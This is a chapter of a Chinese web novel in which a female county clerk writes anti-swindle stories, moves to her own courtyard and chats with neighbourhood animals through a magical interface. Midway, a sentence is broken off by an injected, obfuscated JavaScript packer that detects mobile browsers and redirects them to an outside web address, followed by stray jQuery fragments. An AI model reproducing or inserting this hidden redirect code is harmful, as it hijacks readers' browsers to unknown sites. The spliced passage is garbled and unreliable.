穆青青已经有了稳定的俸禄,如今又有了话本稿费的期许,她心里踏实了不少。


    衙门近些日子颇为太平,她得了空便专心琢磨起新的话本故事来。这一次,她想写些更贴近普通老百姓生活、能揭露些常见骗术的案子。


    回想起曾在茶馆里听见的那些商旅小贩的闲谈,有很多走街串巷之人,会利用人们贪图小利或敬畏鬼神的心理设局行骗,她便铺开纸笔,以“某府城”为背景,写下了一则“神仙显灵”的诈骗故事。


    故事里,有个游方道士在城中宣扬某处老宅有“财神显灵”,只需将铜钱用红布包好,置于宅中特定方位,三日后便能“钱生钱”,红布包里的铜钱越多,之后“钱生钱”也生得越多。


    有三两位胆大贪财的百姓率先将红布包“献”于宅中。三日后当众挖出,布包里果然多了几枚铜钱。众人亲眼见得“钱能生钱”,都信以为真,纷纷解囊。


    主角是个因伤退役的老兵,他冷眼旁观,注意到那几名首先“得利”的百姓总是围在道士身旁附和吆喝。于是他就在一个雨夜潜伏在那处老宅的破墙后面,果然没过多久,他就见到道士和他的同伙熟练地撬开活动砖石,从埋设的瓦瓮中取走钱袋,又借助磁石与铁管,为次日新的“显灵”布设机关。


    破案当日,老兵提前联络了相熟的衙役,暗中围住老宅。待道士再次挥舞木剑、念咒“引财”时,他猛地从藏身处跃出,一脚踹开所谓“聚财位”的浮土,露出下面缠绕磁石的铁丝与空洞的瓦瓮。同伙在墙外操作铁管漏钱的行径,也被埋伏的差役当场擒住。


    真相大白后,老兵指着狼狈的道士对众人道:“诸位且想,若神仙真能点石成金,又怎会贪图你我这几枚铜钱?凡眼前‘神迹’,必有脚下机关。”自此,城中百姓再见此类玄虚之事,总会先留心查看一番地面墙壁了。


    穆青青想了想,担心之后可能有案子耽搁码字,于是又构思了一个提醒人们“财不露白”的小故事。


    说的是城中一位富户小姐在绸缎庄试衣时,一对珍珠耳坠不翼而飞。店家与客人互相猜疑,争执不下。恰巧一位替东家采买的绣庄女管事在场,她心思细密,见状便留了心。


    她观察到一名伙计格外“热心”,总是主动上前帮客人拿取、折叠试过的衣物,且其袖口看似比寻常裁得要紧一些。女管事不动声色,假意挑选布料靠近留意,果然瞥见那伙计在为一客人叠衣时,手法极快地将一小物件滑入了袖内。


    她当即扬声指出,众人一同围上前。从那伙计特意改紧的袖口内的暗袋中,果真搜出了小姐丢失的珍珠耳坠。


    原来,这伙计正是利用试衣时人们注意力分散、且易对“殷勤服务”放松警惕的时机行窃。事后女管事对众人说道:“贵重之物,须臾勿离眼前。遇人过分热心,不妨多存一分细心。”这故事正是提醒:财不露白,方是稳妥之道。


    这两个故事,她都特意用浅白口语写成,避免生僻字词,力求能让识字不多的百姓听懂并记住一两个关键点。完稿后,她再次用左手誊抄,装入信封。


    这日天气晴好,她换了男装,揣着新稿和那作为信物的半枚铜钱,再次前往书肆。


    心里盘算着,这次若能拿到上回的稿费,再加上这几个月的俸禄积蓄,或许真该考虑搬出县衙了。总寄居在此,虽蒙崔大人夫妇厚待,到底不是长久之计。


    且自己一个未嫁女子,长久居于官衙内院,于崔家官声、于自己行事,也渐有不便。年关将近,若能赁个合适的小院搬出去,也好让崔夫人安心。


    书肆的伙计已认得那半枚铜钱,见她来了,立刻从柜下取出一个略显沉手的青布小袋,笑容满面:“小哥您可来了!东家吩咐了,您上次那两篇故事读者反响甚好,尤其是‘北地毒杀案’,不少客官都说长了见识。这是您的润笔,一共二两银子并六百文钱,您点点。”


    二两多银子!


    穆青青接过钱袋,指尖感受着那份重量,心中一阵欣喜。这比她预想的要多不少,看来书肆东家确实认可她的稿子。加上俸禄,她手头已然宽裕许多。


    “多谢掌柜,多谢东家。”她压低声音道谢,又将新稿递上,“这是新作,烦请转交东家看看。”


    “好嘞!东家说了,您若有新稿,随时欢迎。”伙计热情接过。


    揣着人生第一笔真正意义上的“稿费”,穆青青走出书肆,脚步都轻快了几分。她没有立刻回县衙,而是在城中较为清净的巷弄间慢慢转悠,留意是否有出租房屋的招贴。


    接连看了几处,要么太大租金昂贵,要么位置过于偏僻不便。正有些气馁时,在离县衙约两三条街、靠近一处小集市却不喧闹的梧桐巷里,她看到一处小巧的一进院落外贴着“吉屋招租”的红纸。


    院子不大,正房加东西厢房共三间,青砖灰瓦,看起来有些年头但维护得还算整洁,门前有棵梧桐树。最妙的是,巷子另一头走出去便是市集,买菜购物极其方便,而巷子本身又很安静。


    穆青青记下地址,回去后便托赵捕头找人打听。得知房主是一对老夫妻,随儿子赴任去了,只想将房子租给爱惜房屋、背景清白的正经人家,租金要价也公道。


    穆青青亲自去看了,屋内家具虽旧但齐全,院落干净,当即就付了定金定下了。


    搬家那日,崔夫人很是不舍,拉着穆青青的手叮嘱了许多,又特意将小荷唤到跟前:“小荷,你的身契既已给了青青,往后你便好好跟着青青姑娘,她是个有本事又心善的,断不会亏待你。只是离了这院子,自己凡事要更机灵些。”小荷含着泪,用力点头,她早已清楚自己是穆青青的人,此番必定跟随。那止不住的眼泪,一半是因要离开待她亲厚的崔夫人和熟悉的县衙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128383|194137||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后院,另一半也是对即将开始的新生活的些许茫然与不舍。穆青青轻轻揽了揽她的肩,温声道:“莫哭,梧桐巷离得不远,日后我们常回来看望夫人便是。你若想念小莲、刘婶,也得空就能回来寻她们说话。”又对崔夫人道:“夫人放心,小荷懂事勤快,有她帮我,我也轻松许多。”


    刘婶蒸了满满一笼肉包子让她们带上,小莲也偷偷塞给小荷一双新做的棉袜,几个小丫鬟在角门处拉着小荷的手说了好些体己话,这才红着眼眶送她们主仆二人离开。


    在赵捕头的招呼下,陆金一、陆金二等衙门同僚七手八脚地帮忙,很快就将穆青青那不多的行李搬入了梧桐巷的新居。穆青青简单收拾了一番,与众人约好改日设宴答谢,便送他们离开。回头看见小荷眼睛仍有些发红,却已麻利地开始整理杂物、擦拭桌椅,她心里也渐渐安定下来。


    是夜,她躺在属于自己的床铺上,鼻尖似乎还能闻到新浆洗过的被褥阳光的气息,心中充满了安定与对新生活的期待。她试着在脑海中唤出光幕。


    【‘梧桐巷及周边’聊天群(当前在线:8)】


    果然,聊天群的覆盖范围随着她的居住地改变了!成员也似乎全是新面孔。


    檐下麻雀:【啾啾!新来的两脚兽在收拾屋子,搬来几盆绿叶子,比上一家体面多啦!】


    玳瑁猫:【喵……她身上有墨味,还有旧伤的血气。不过手指很软,扫地时还特意绕过我的窝,算是个明白人。】


    大黄狗:【汪汪汪!她筐里有肉包子的味道!明天、明天准能讨到半个!】


    灰鹦鹉:【咯咯咯,人多的时候两脚兽都喜欢说,恭喜发财~】


    墙缝蛐蛐:【瞿瞿,瞿瞿!别念诗啦,她看过来啦!】


    穆青青看着这些杂乱又充满生活气息的“发言”,忍不住笑了。她尝试着发送了一条信息:【大家好,我是新搬来的,以后请多关照。我会在院子角落固定放些清水和剩饭。】


    信息发出后,光幕安静了一会儿。


    隔壁大黄:【汪!真的吗?好人!明天就去喝!】


    檐下雀:【啾!剩饭!希望有小米!】


    灰鹦鹉:【恭喜发财~恭喜发财~】


    墙缝蛐蛐:【瞿瞿,瞿瞿……别踩我的墙缝。】


    玳瑁喵似乎有些高冷,没再出声。


    看来“普通群友”的身份,确实能让她进行一些最基本的交流,虽然这些“邻居”们的关注点千奇百怪。她心满意足地退出“群聊”,安然入睡。


    日子就这样平淡而充实地过着。穆青青每日照常去县衙点卯,处理些琐碎公务,闲暇时构思新的话本,偶尔通过“聊天群”听听巷子里的“八卦”,倒也自在。


    这天,她正在衙内整理卷宗,赵捕头皱着眉走了进来:“青青,西市那边出了桩有点蹊跷的失窃案。”